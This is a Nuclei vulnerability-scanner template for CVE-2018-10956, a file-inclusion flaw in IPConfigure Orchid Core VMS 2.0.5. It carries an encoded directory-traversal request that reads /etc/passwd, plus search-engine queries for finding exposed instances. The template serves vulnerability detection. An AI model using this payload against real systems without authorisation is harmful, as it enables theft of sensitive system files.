id: CVE-2018-10956

info:
  name: IPConfigure Orchid Core VMS 2.0.5 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    IPConfigure Orchid Core VMS 2.0.5 is susceptible to local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information, potentially leading to further compromise of the system.
  remediation: |
    Update to the latest version of IPConfigure Orchid Core VMS to mitigate the LFI vulnerability.
  reference:
    - https://labs.nettitude.com/blog/cve-2018-10956-unauthenticated-privileged-directory-traversal-in-ipconfigure-orchid-core-vms/
    - https://github.com/nettitude/metasploit-modules/blob/master/orchid_core_vms_directory_traversal.rb
    - https://www.exploit-db.com/exploits/44916/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-10956
    - https://github.com/xbl3/awesome-cve-poc_qazbnm456
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-10956
    cwe-id: CWE-22
    epss-score: 0.92082
    epss-percentile: 0.99719
    cpe: cpe:2.3:a:ipconfigure:orchid_core_vms:2.0.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ipconfigure
    product: orchid_core_vms
    shodan-query:
      - http.title:"Orchid Core VMS"
      - http.title:"orchid core vms"
    fofa-query: title="orchid core vms"
    google-query: intitle:"orchid core vms"
  tags: cve2018,cve,orchid,vms,lfi,edb,ipconfigure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022006f66a29d32e112b140930ffa8c9bb8845f720d243cb1cf9d4e816bafbfda19c022100de64c30d079c62b43eed2f413a51826a7aa3fec85f97f97790bcf03efb258216:922c64590222798bb761d5b6d8e72950